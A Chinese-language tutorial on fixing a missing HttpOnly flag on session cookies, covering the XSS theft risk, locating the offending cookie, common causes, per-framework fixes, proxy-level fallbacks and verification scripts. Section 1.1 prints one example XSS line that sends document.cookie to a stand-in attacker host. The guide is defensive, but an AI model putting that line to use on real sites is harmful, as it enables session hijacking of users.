1. 一条只写着“会话cookie中缺少HttpOnly属性”的报告,究竟在说什么
做Web安全整改这行,最常收到的就是这种只有一行字的扫描报告:会话cookie中缺少HttpOnly属性。没有请求包、没有URL、没有参数位置,就一句话丢过来,让你自己去猜。第一次看到这条的时候我盯着屏幕想了半天——Cookie是我设的没错,但“缺少HttpOnly”到底意味着什么风险等级?是必须今天改完的阻塞项,还是可以排到下个迭代的优化项?
先把结论放前面:HttpOnly是Cookie的一个布尔属性,作用是禁止JavaScript通过document.cookie读取该Cookie。它挡不住攻击者,它挡的是“攻击者借你的页面之手去读凭证”这一条路。会话Cookie(也就是承载会话标识的那条Cookie,通常叫 sessionid、JSESSIONID 之类)一旦缺少这个属性,任何能在这套域下执行脚本的入口,都会变成一条完整的凭证窃取链。这个属性加上去几乎没有成本,但漏掉它的项目出奇地多——原因后面会细说。
这篇内容写给三类人:刚接手安全整改任务、看到这条报告不知道从哪下手的前后端开发;负责多套遗留系统维护、需要批量排查Cookie属性的运维或架构同学;以及做渗透测试和代码审计、想弄清楚这条告警误报边界的安全同学。全文围绕“怎么定位到具体哪个Cookie”“为什么会漏”“怎么改”“改完怎么证明生效”这四件事展开,代码和配置都能直接抄。
1.1 攻击链上被省掉的那一步
很多人对这条告警无感,是因为脑子里没有一条完整的攻击路径。补上这一步,重要性就清楚了。
假设某站点有一个搜索结果页,参数直接回显到HTML里,存在反射型XSS。攻击者构造一条链接发给已登录的用户,用户点开,脚本在站点的域下执行。此时脚本干了这么一件事:
new Image().src = "https://attacker.example/collect?c=" + encodeURIComponent(document.cookie);如果会话Cookie没有HttpOnly,document.cookie就能读到sessionid=xxxxx,这个值被拼到图片URL里发出去,攻击者的服务器日志里就躺着一个有效会话标识。攻击者拿这个值往请求头里一塞,直接就是受害者的身份,不需要密码、不需要二次验证、不需要任何交互。
而如果会话Cookie带了HttpOnly,document.cookie读出来是空的(准确说是读不到那一条),攻击链在这里断掉。注意措辞:断掉的是“窃取”,不是“XSS本身”。XSS依然能发请求、能改页面、能做CSRF式的操作,但它没法把凭证带走长期复用。这个差别在应急响应里非常关键——有HttpOnly,攻击窗口随着页面关闭而关闭;没有HttpOnly,攻击者可以拿着Cookie离线慢慢玩,直到会话过期。
所以这条告警的实质是:你的会话凭证在浏览器里是“可读”状态,任何一个XSS漏洞都会从“页面被篡改”升级为“账号被接管”。
1.2 浏览器视角下的HttpOnly开关
从实现角度看,HttpOnly就是响应头Set-Cookie里多出来的一个标志位。浏览器解析到这个标志后,会把这条Cookie标记为“脚本不可见”,之后页面里任何JS访问document.cookie都拿不到它,但网络请求依然会自动携带它。
这一点经常被误解。有人以为加了HttpOnly,前端就“用不了”这个Cookie了。不是的。Cookie的携带是浏览器网络层的行为,跟JS能不能读是两回事。加了HttpOnly之后:
| 行为 | 无HttpOnly | 有HttpOnly |
|---|---|---|
JS 读document.cookie | 能读到 | 读不到 |
| JS 写同名Cookie | 能覆盖 | 写入的是另一条同名但不同属性的Cookie,容易踩坑 |
| 浏览器自动随请求发送 | 会 | 会 |
| XSS 窃取凭证 | 可行 | 不可行 |
| 服务端读取 | 正常 | 正常 |
第四行和第五行是这个属性全部价值所在。它不影响任何正常的服务端会话逻辑,这也是为什么我一般把它归为“零成本高收益”的整改项。
还有一个细节值得说清楚:HttpOnly属性只能在服务端设置。JS用document.cookie = "a=1; HttpOnly"是无效的,浏览器会直接忽略这个标志。原因很简单,如果脚本能给自己加HttpOnly,那这个机制就是个摆设。所以整改动作一定发生在服务端代码、网关配置或者框架配置里,前端改不了。
1.3 一条告警背后的三种误判
不是所有这类报告都是真问题。我经手过的案例里,大概有三成属于误判或者低优先级,动手之前先分清楚,能省不少功夫。
第一种,扫到了非会话Cookie。有些扫描器把所有没有HttpOnly的Cookie都报一遍,包括埋点用的_ga之类、主题偏好theme=dark、多语言lang=zh。这些Cookie被XSS读到没有任何危害,它们本来就不是凭证。真正需要关注的是承载会话标识的那一条。
第二种,扫到了本该被前端读取的Cookie。典型的是CSRF Token。很多框架默认把CSRF Token放在Cookie里让前端读出来塞进请求头,这种Cookie故意不设HttpOnly。不过这种做法本身有争议,后面第5章会细讲。
第三种,扫的是旧响应。有些系统在登录成功时才下发会话Cookie,扫描器只抓了首页的响应,首页那条是给匿名用户的临时标识。这种要结合完整登录流程重新确认。
分清楚这三类之后,剩下的才是真正要改的。判断标准很简单:这条Cookie的值泄露出去,攻击者能不能直接拿去冒充用户。能,就必须加;不能,可以放着。
2. 定位现场:被点名的到底是哪一个Cookie
告警只有一句话,但一个站点上跑的Cookie可能有十几条。第二步要做的就是把“缺少HttpOnly”这个抽象结论,落到具体某个域名、某个路径、某个响应头上。这一步做扎实了,后面改代码才不会改错地方。
2.1 用响应头而不是页面源码找答案
新手最容易犯的错是在浏览器控制台敲document.cookie看有哪些Cookie,然后回头看代码里怎么设的。这个路径有两个坑:一是document.cookie本身就看不到HttpOnly的Cookie,你看到的列表是不完整的;二是你看到的是“当前状态”,看不到“是谁设的、什么时候设的”。
正确的入口是网络面板里的响应头。具体做法:
- 打开开发者工具的 Network 面板,勾上 Preserve log(保留日志),避免页面跳转把记录清掉。
- 完整走一遍流程:打开首页 → 输入账号密码 → 提交登录 → 进入登录后的页面。
- 在请求列表里逐个点开,看 Response Headers 里的
Set-Cookie。 - 找到名字像会话标识的那一条(sessionid、JSESSIONID、PHPSESSID、SESSION、token 之类),检查它后面有没有
HttpOnly。
一条标准的、属性齐全的响应头长这样:
Set-Cookie: sessionid=8f3c2a...; Path=/; Domain=app.example.com; Secure; HttpOnly; SameSite=Lax而缺少HttpOnly的常见形态是:
Set-Cookie: sessionid=8f3c2a...; Path=/注意,有些框架会把多个Set-Cookie合并到一行显示,浏览器面板里可能折叠了,这时候切到 Raw 视图看原始头更靠谱。命令行里用curl -i也能拿到干净的结果,这个后面第6章会写具体命令。
提示:如果登录流程涉及多次跳转(比如单点登录回跳),务必开启保留日志,否则真正下发会话Cookie的那次响应很可能被覆盖掉,你会误以为是首页那条。
2.2 会话Cookie与持久Cookie的判定差异
扫描报告里说的“会话cookie”,指的是会话级Cookie,也就是响应头里不带 Expires 和 Max-Age的那种,浏览器关闭就丢。这类Cookie就是会话标识的典型载体。
但实际操作中你会发现,很多系统为了“记住我”或者减少重复登录,给会话Cookie设了7天甚至30天的有效期,这就变成了持久Cookie。这种情况下告警描述可能对不上,但风险等级反而更高——一个没有HttpOnly又活了30天的会话凭证,被XSS偷走之后的利用窗口长得离谱。
所以定位的时候不要被“会话”两个字框住,判断标准还是回到那句:值泄露了能不能冒充用户。能,就查它的属性,不管它是会话级还是持久级。
这里有个实操技巧:在开发者工具的 Application → Cookies 面板里,会列出每个Cookie的 HttpOnly、Secure、SameSite、Expires 四个列。勾选状态一目了然,比逐个翻响应头快得多。发现某个Cookie的 HttpOnly 列是空心的,就是它了。然后再回 Network 面板找它是在哪个响应里下发的,顺着这个响应的URL去找代码。
2.3 多域名、多路径下的Cookie同名冲突
有一种情况会让排查陷入僵局:明明代码里写了 HttpOnly,浏览器里显示的却没有。这时候要看是不是有另一条同名Cookie把它盖住了。
Cookie的作用域由 Domain 和 Path 两个维度决定。如果同一个名字的Cookie在两个不同路径下各存在一份,比如Path=/和Path=/app,浏览器在发送请求时会同时带上两条同名的,服务端读到的可能是任意一条,取决于框架的解析顺序。而属性是跟着各自那条走的,前端看到的“缺HttpOnly”,很可能是Path=/app那条老Cookie留下的。
排查方法:
- Application → Cookies 面板里,按 Path 列排序,看有没有同名的多条记录。
- 如果有,先删掉多余的,重新走一遍流程,确认新下发的只有一条。
- 代码里统一 Path 的设置,别一处写
/,另一处写/app。
还有一种情况是主域和子域各下一份。主域Domain=.example.com的Cookie会被所有子域共享,子域自己再设一条同名不同Domain的,同样会冲突。这种在微服务拆分之后的多子系统里特别常见,一个网关下发一条,某个老服务又下发一条,两边属性还不一样。
注意:清理历史Cookie时,光靠服务端改属性是不够的。老Cookie在用户浏览器里还活着,必须是“同名 + 同Domain + 同Path”的
Set-Cookie才能覆盖它。属性改了但作用域没对上,用户那边看到的还是老的那条。
3. 四种最常见的“漏写”来源
搞清楚是哪个Cookie之后,下一步是找到“为什么没写”。我梳理过几十个项目的整改记录,漏写的原因基本集中在四类,而且这四类的排查手法完全不同。
3.1 手写Set-Cookie的散落代码
最直接的一类:代码里手工拼Set-Cookie响应头,拼的时候忘了加标志位。这种在老旧系统、自研网关、以及一些“为了灵活”而绕开框架API的地方特别多。
典型的问题代码长这样:
// 问题写法:手工拼响应头,属性全靠人记 response.setHeader("Set-Cookie", "sessionid=" + sid + "; Path=/");// 问题写法:只传了前四个参数 setcookie("sessionid", $sid, time() + 3600, "/");这种代码的危险在于它不会报错、功能正常,测试也测不出来,只有扫描器能发现。而且一旦项目里有十几处这样的写法,你改了一处忘了另一处,整改就变成了打地鼠。
排查手段是按关键字全局搜:Set-Cookie、setHeader("Set-Cookie"、setcookie(、res.cookie(、addHeader("Set-Cookie"。搜出来的每一处都要过一遍。我一般会在代码审查清单里加一条硬性规定:禁止手写Set-Cookie字符串,统一走框架的Cookie构造API,这样属性由一处集中控制,不会再散出去。
3.2 框架默认值与版本差异
第二类最容易被忽略:你以为框架默认帮你加了,其实这个默认值在不同版本、不同配置下是不一样的。
举几个我实测过的:
| 技术栈 | 会话Cookie默认HttpOnly | 需要注意的点 |
|---|---|---|
| Servlet容器(Tomcat 7+) | 是 | 老版本或显式关掉useHttpOnly会失效 |
| Spring Boot | 是 | 但自定义Cookie不走这个默认值 |
| Express + express-session | 是 | res.cookie()手工设的默认是 false |
| Django | 是(SESSION_COOKIE_HTTPONLY) | CSRF_COOKIE_HTTPONLY 默认是 False |
| Flask | 是 | 手工set_cookie需显式传参 |
| ASP.NET Core Cookie认证 | 是 | 老版 ASP.NET 的部分场景不是 |
关键在表格的最后一列。“会话Cookie默认有”不等于“所有Cookie默认有”。框架通常只保证它自己管的那个会话标识,任何你自己res.cookie()或者set_cookie()出来的东西,默认值往往是不带HttpOnly的。而很多系统恰恰是把会话标识存在一个自定义名字的Cookie里,绕开了框架的会话管理。
所以排查的时候要问自己一句:这个Cookie是框架的会话中间件下发的,还是我自己写的?前者查配置,后者查调用点。
3.3 网关、反向代理与CDN的二次改写
第三类最隐蔽:代码里明明写了HttpOnly,抓包看响应头也确实有,但浏览器里就是不生效。这时候要看中间链路。
反向代理如果配置了Cookie重写规则,可能会把属性“洗掉”。比如某些老版本的代理在做Cookie路径改写时,只保留 name/value/path/domain 几个字段,其余属性直接丢弃。CDN的某些回源改写规则、WAF的Cookie防护模块也有类似行为。
排查方法是在两处抓包对比:一处在应用服务器本机(curl -i http://127.0.0.1:8080/...),一处在公网侧(curl -i https://实际域名/...)。如果本机有HttpOnly、公网没有,问题就出在中间链路,跟应用代码无关。
这种情况的修复方式有两种:一是修正代理的Cookie处理配置,让它透传属性;二是在最外层统一补一次Set-Cookie,用代理自己的能力把属性加上。后一种更稳妥,因为它不依赖上游应用的行为一致性,等于给整个站点做了一层兜底。
3.4 第三方组件与老SDK偷偷种的Cookie
第四类比较无奈:Cookie不是你种的,是某个集成进来的组件种的。比如某个统计脚本、某个客服悬浮窗、某个老版本的鉴权SDK,它们初始化时会往当前域写Cookie,属性完全由对方控制。
这类Cookie的处理要分情况。如果是纯功能性的(比如客服组件的会话ID),泄露危害有限,可以推动升级组件版本;如果它承载了你的业务凭证,那就不能等对方,得自己接管——把这个值挪到服务端会话里,或者在自己的域名下重新封装一层。
判断方法还是看值。抓一条这种Cookie的值,拿去搜代码库,看有没有地方在用它做鉴权。搜不到基本就是纯前端的,风险可控;搜得到,就必须处理。
4. 按技术栈补齐HttpOnly的具体改法
定位清楚之后,改动本身其实很简单。下面按技术栈给出可直接抄的写法和配置项,每一段都说明了“为什么是这样”,方便你判断自己的场景该改哪一处。
4.1 Java系(Servlet容器与Spring Boot)
Java体系里最省事的路径是走容器自带的会话管理。Tomcat 7 之后,JSESSIONID默认就带HttpOnly,对应的开关是 Context 上的useHttpOnly。如果你发现它没带,优先检查是不是有人显式关掉了:
<!-- conf/context.xml:确认没有被设成 false --> <Context useHttpOnly="true">Servlet 3.0 之后提供了标准API,可以在代码里控制,这个方式比改容器配置更可控,因为配置跟着代码走:
// 在会话创建前设置Cookie属性 ServletContext ctx = request.getServletContext(); ctx.getSessionCookieConfig().setHttpOnly(true); ctx.getSessionCookieConfig().setSecure(true); ctx.getSessionCookieConfig().setPath("/");Spring Boot 场景下更简单,配置文件一行搞定:
server: servlet: session: cookie: http-only: true secure: true same-site: lax但注意,这套配置只管 Spring 自己下发的会话Cookie。如果是手工new Cookie(...)塞进响应,必须自己调setHttpOnly(true):
Cookie c = new Cookie("biz_token", token); c.setHttpOnly(true); c.setSecure(true); c.setPath("/"); c.setMaxAge(3600); response.addCookie(c);我见过不少项目在这里翻车:会话Cookie规规矩矩,另一个存业务令牌的Cookie手工 new 出来忘了设属性。扫描器报的就是后者。
4.2 Node.js系(Express、Koa)
Express 的res.cookie()默认httpOnly 是 false,这个默认值坑过无数人。会话中间件(比如 express-session)自己的默认值是 true,但你自己调res.cookie()时不会继承。
// 显式传参,不要依赖默认值 res.cookie('sessionid', sid, { httpOnly: true, secure: true, // 要求 HTTPS 才发送 sameSite: 'lax', path: '/', maxAge: 3600 * 1000 });express-session 的配置里也要显式写一遍,别赌默认值:
app.use(session({ name: 'sessionid', secret: process.env.SESSION_SECRET, cookie: { httpOnly: true, secure: true, sameSite: 'lax', maxAge: 3600 * 1000 }, resave: false, saveUninitialized: false }));这里有个细节值得展开:name不要用默认的connect.sid。默认名等于告诉别人你用的什么框架,改成一个没有信息量的名字,能少暴露一点技术栈。这不是安全边界,但是个便宜的加分项。
Koa 用ctx.cookies.set的话,同样要显式传httpOnly: true,secure在 HTTPS 环境下也要显式开。
4.3 PHP与Python系
PHP 的老式setcookie()第七个参数是 httponly,很多人只传前四个就收手了:
// 老写法兼容,但容易漏参数 setcookie("sessionid", $sid, [ 'expires' => time() + 3600, 'path' => '/', 'secure' => true, 'httponly' => true, 'samesite' => 'Lax' ]);用数组形式比位置参数靠谱得多,因为位置参数顺序记错不会报错,只会静默失效。会话本身通过 php.ini 控制:
session.cookie_httponly = 1 session.cookie_secure = 1 session.cookie_samesite = LaxDjango 的会话Cookie默认就开了HttpOnly,需要确认的是settings.py里没被改掉:
SESSION_COOKIE_HTTPONLY = True SESSION_COOKIE_SECURE = True SESSION_COOKIE_SAMESITE = 'Lax'Flask 同理,SESSION_COOKIE_HTTPONLY默认 True。要小心的是手工response.set_cookie():
resp.set_cookie('biz_token', token, httponly=True, secure=True, samesite='Lax', max_age=3600)Python 这两个框架的坑跟 Java 一样:框架管的默认安全,手工设的默认不安全。养成习惯,凡是手写Cookie的地方,四个属性一次写全。
4.4 在网关层做统一兜底
如果系统里历史代码太多、短期内改不干净,一个务实的做法是在最外层统一补属性。这样即便某个老服务漏了,用户拿到的响应也是合规的。
反向代理如果版本支持proxy_cookie_flags,可以直接按名字匹配加标志:
location / { proxy_pass http://app_backend; # 给会话Cookie补 HttpOnly 与 Secure proxy_cookie_flags sessionid httponly secure; # 也可以用正则匹配一批 proxy_cookie_flags ~* "sess|token" httponly secure samesite=lax; }用了这个之后要验证一件事:代理补属性和应用自己设属性不要打架。如果应用已经发了完整的Set-Cookie,代理再加一遍可能出现重复字段。稳妥做法是先观察几天日志,确认所有上游都在发什么,再决定是统一由代理接管还是只做兜底。
网关层兜底的另一个好处是:它天然覆盖了所有子系统,包括那些没人维护、不敢动的老服务。代价是它会让“属性从哪来”这件事变得不直观,新人排查时会困惑。所以我要在配置旁边写注释,标明这是兜底策略、根因在哪几个服务,属于必要的维护成本。
5. HttpOnly的边界:它能挡什么、挡不住什么
整改做到这一步,很容易产生一种错觉:加上HttpOnly就安全了。这个认知偏差比漏写属性更危险,因为它会让人忽略真正的防线。
5.1 它挡的是“读”,不是“用”
HttpOnly阻止的是JS读取Cookie,仅此而已。它不阻止XSS执行,不阻止攻击者用你的身份发请求,也不阻止页面被篡改。
一个带HttpOnly的站点如果存在XSS,攻击者依然可以:
- 用
fetch发起任意请求,浏览器会自动带上会话Cookie,服务端认的就是受害者身份 - 读取页面上的敏感数据(订单信息、个人信息展示区)
- 篡改页面诱导用户输入密码
- 配合CSRF绕过某些校验逻辑
所以HttpOnly的实际定位是纵深防御的一层,不是主防线。主防线永远是消除XSS本身——输出编码、模板自动转义、内容安全策略。HttpOnly的价值在于“万一XSS没防住,损失可控”。
这个认知直接影响整改优先级。如果某个系统XSS遍地,光加HttpOnly只是把“账号被批量接管”降级成“账号被逐个操作”,风险依然很高。这种情况下正确的做法是两条线同时推。
5.2 与Secure、SameSite、__Host-前缀的组合拳
单加HttpOnly是不够的,Cookie安全属性是一套组合。四个常用属性各自解决的问题完全不同:
| 属性 | 解决什么问题 | 不加的后果 |
|---|---|---|
| HttpOnly | 脚本读不到 | XSS 可窃取凭证 |
| Secure | 只在 HTTPS 下发送 | 明文链路上被截获 |
| SameSite=Lax/Strict | 跨站请求不带Cookie | CSRF 风险 |
__Host-前缀 | 强制 Secure + Path=/ + 无 Domain | 子域可覆盖主域Cookie |
第四个属性用的人少,但效果很好。Cookie名以__Host-开头时,浏览器会强制校验:必须是 Secure、必须 Path=/、必须没有 Domain 属性。任何一条不满足,浏览器直接拒收。这就堵死了“子域写入同名Cookie覆盖主域会话”这类攻击。
Set-Cookie: __Host-sessionid=8f3c2a...; Path=/; Secure; HttpOnly; SameSite=Lax注意这里刻意没有写 Domain,这是__Host-的硬性要求。如果业务需要跨子域共享会话,就得改用__Secure-前缀,它的约束宽松一些(只要求 Secure),防护强度也相应弱一档。
还有个容易踩的顺序问题:SameSite=None必须搭配Secure,否则现代浏览器直接拒收这条Cookie。前后端分离、跨域调用接口的场景里,很多人为了让Cookie能跨站发出去把 SameSite 设成 None,却忘了配 Secure,结果登录态在部分浏览器上直接失效。这类问题排查起来很痛苦,因为不是报错,是静默不生效。
5.3 业务确实需要前端读Cookie时怎么办
有一类场景确实会让整改卡住:前端要用Cookie里的值做判断或者塞进请求头。最常见的是CSRF Token。
标准做法是不要把敏感值放在需要前端读取的Cookie里。CSRF Token可以走两条路:一是服务端渲染时直接注入到页面里的meta标签或隐藏字段,前端从DOM读,完全不需要Cookie;二是用双提交模式,但那种模式下Cookie本来就不是凭证,泄露了也无所谓。
如果历史架构已经绑死了“前端读Cookie”这个模式,短期内的过渡方案是把这条Cookie和会话Cookie彻底分开:
- 会话Cookie:HttpOnly + Secure + SameSite,前端绝对不可见
- 交互用的辅助Cookie:不加HttpOnly,但内容做成一次性的、无鉴权能力的,比如带有效期签名的随机串
关键是做好隔离。最怕的是同一个Cookie既当前端读的配置项,又当服务端鉴权用。这种混用迟早出事。
注意:不要因为“前端要读”就干脆把会话Cookie的HttpOnly去掉。这是拿核心凭证去换开发便利,属于典型的技术债,滚起来会很难还。
6. 改完怎么验证:一套可复现的回归流程
代码改完、发版上线,不代表事情结束了。这条告警最恶心的地方在于它不会自己消失,下次扫描还会报,除非你拿证据证明它修好了。而且改Cookie属性有打断登录态的风险,验证必须做扎实。
6.1 命令行核对响应头
图形界面能看到的东西,命令行都能看到,而且可复现、可留档。第一个动作是拿curl直接看响应头:
# 只看响应头,-i 关键;-k 仅测试环境自签证书时使用 curl -i -s -k https://app.example.com/login \ -d "username=test&password=test" \ -H "Content-Type: application/x-www-form-urlencoded" \ | grep -i "set-cookie"期望输出里能看到完整的属性:
set-cookie: __Host-sessionid=8f3c2a...; Path=/; Secure; HttpOnly; SameSite=Lax要确认的三件事:名字对不对、属性齐不齐、有没有被重复下发两条。如果输出的是一长串合并的Cookie,可以用-c把Cookie存到文件里再看:
curl -c cookies.txt -s -k https://app.example.com/login -d "..." cat cookies.txt这个文件里的第七列会标出 HttpOnly(以#HttpOnly_前缀开头的行),一眼就能看出来。
6.2 把断言写进自动化用例
手工验一次只能证明“这一刻是对的”。真正防回归的做法是把它变成自动化断言,跟着每次发版跑。
如果项目里有接口测试框架,加一条断言很简单:
def test_session_cookie_has_httponly(login_response): raw = login_response.headers.get("Set-Cookie", "") # 断言会话Cookie同时具备三个关键属性 assert "HttpOnly" in raw assert "Secure" in raw assert "SameSite" in raw没有测试框架也不要紧,写个独立的脚本,在发布流水线最后一步跑,失败就阻断:
#!/usr/bin/env bash set -e HEADERS=$(curl -s -i -k https://app.example.com/login -d "username=$U&password=$P") if ! echo "$HEADERS" | grep -qi "set-cookie:.*HttpOnly"; then echo "FAIL: 会话Cookie缺少 HttpOnly" exit 1 fi echo "OK: 属性校验通过"这条脚本的价值在于它把“安全要求”变成了“发布门禁”。人总会忘,流水线不会。
6.3 灰度与回滚预案
改Cookie属性是个会影响所有已登录用户的操作。风险点有两个:
风险一,改了Cookie名字或Path导致老Cookie失效。用户更新后会出现“突然要重新登录”,如果没提前通知,客服会被打爆。缓解办法是在低峰期发布,并在登录页加一条提示文案。
风险二,Secure属性配错导致HTTP环境下Cookie发不出去。如果站点还有HTTP入口没全站跳转HTTPS,加了Secure之后这部分流量直接登录不上。发布前一定要确认全站HTTPS覆盖情况,包括内网访问、老客户端、以及那些走IP直连的调试入口。
我的习惯是先在单个实例上灰度:把新版本部署到一台机器,用固定IP或者内部域名访问验证,确认登录、登出、权限校验、跨子域跳转四条主链路都正常,再全量。同时准备好回滚——配置项改动回滚成本很低,只要保留旧配置就行。
发布后盯两个指标:登录成功率、会话异常率(比如突然增多的401)。这两个指标如果出现明显波动,先回滚再分析,别在现场调。
7. 几个我在实际项目里踩过的坑
前面讲的都是方法和配置,最后说几个真实的教训,都是文档里不会写的。
7.1 改动上线后登录态“随机失效”
有个项目加完HttpOnly之后,用户反馈“有时候登录着好好的,突然就掉线了”。排查了两天,最后发现是同名Cookie冲突。
原因是系统里有两条sessionid:一条是主站Path=/下发的(新的,带HttpOnly),另一条是某个老模块Path=/legacy下发的(老的,不带HttpOnly)。用户访问/legacy下的页面时,两条同名Cookie同时被发送,服务端解析取到了老的那条,值对不上,判定为无效会话。
这个问题的隐蔽之处在于它不是必然复现,取决于框架拼接Cookie的顺序和用户的操作路径。修复方式是统一作用域,把所有老模块的下发路径收敛到/,并且在发布时主动清一次Path=/legacy下的历史Cookie:
Set-Cookie: sessionid=; Path=/legacy; Max-Age=0这条“清Cookie”的响应要在发布后保留一段时间,因为用户的浏览器里可能还存着老值。我一般会保留两周。
7.2 只改了主线,忘了登出接口
另一个坑更简单也更蠢:登录接口改好了,但登出接口漏了。
登出时服务端会把会话置空并重新下发一条Cookie(通常值为空、Max-Age=0)。这条清除用的Cookie如果没带HttpOnly,扫描器照样报。而且更麻烦的是,覆盖操作会带着新属性去覆盖老Cookie,如果新属性里少了HttpOnly,等于登出反而把安全属性洗掉了。
修复很简单,但提醒我们一件事:Cookie属性的整改必须覆盖所有下发点,登录、登出、刷新、续期、权限变更,一个不能少。我在代码审查里加了一条检查项:凡是有Set-Cookie的地方,跟登录接口的写法对齐。
7.3 测试环境有、生产环境没有的诡异差异
第三个坑来自环境差异。测试环境抓包一切正常,生产环境扫描器还是报。最后定位到是生产环境多了一层代理,代理配置里有一条老的Cookie改写规则,只透传 name/value/path,把Secure和HttpOnly都丢了。
这类问题的通用排查手法就是第3.3节说的两处抓包对比。补充一个细节:对比的时候要注意请求要完全一致,包括Host头、协议、路径。我就吃过一次亏——本机测试用的是HTTP,公网是HTTPS,两条链路的处理逻辑根本不一样,对比出来的结论完全是误导。
另外,代理配置往往不在开发团队的代码库里,而是在运维那边。这种情况下光改代码没用,必须先跟运维确认链路上有几层、每层有没有碰Cookie。这类跨团队的沟通成本,往往比技术本身更花时间,所以立项排查的第一步就该把链路图画出来,谁在中间动过手,提前问清楚。
7.4 一个顺手的小改进
最后分享一个我每次都做的顺手改进:在会话中间件的初始化处,加一条启动自检。应用启动时读一遍当前的Cookie配置,如果关键属性缺失就打一条告警日志。
// 启动时自检,缺配置直接告警,避免上线后才发现 const required = ['httpOnly', 'secure', 'sameSite']; const missing = required.filter(k => !sessionConfig.cookie[k]); if (missing.length) { logger.warn(`[SECURITY] 会话Cookie缺少属性: ${missing.join(', ')}`); }这条日志不会阻断启动,但会在每次部署时提醒一次。成本几行代码,收益是把一个“靠扫描器发现”的问题,变成“自己主动暴露”的问题。做基础设施这行,能被自己发现的问题,就不算问题。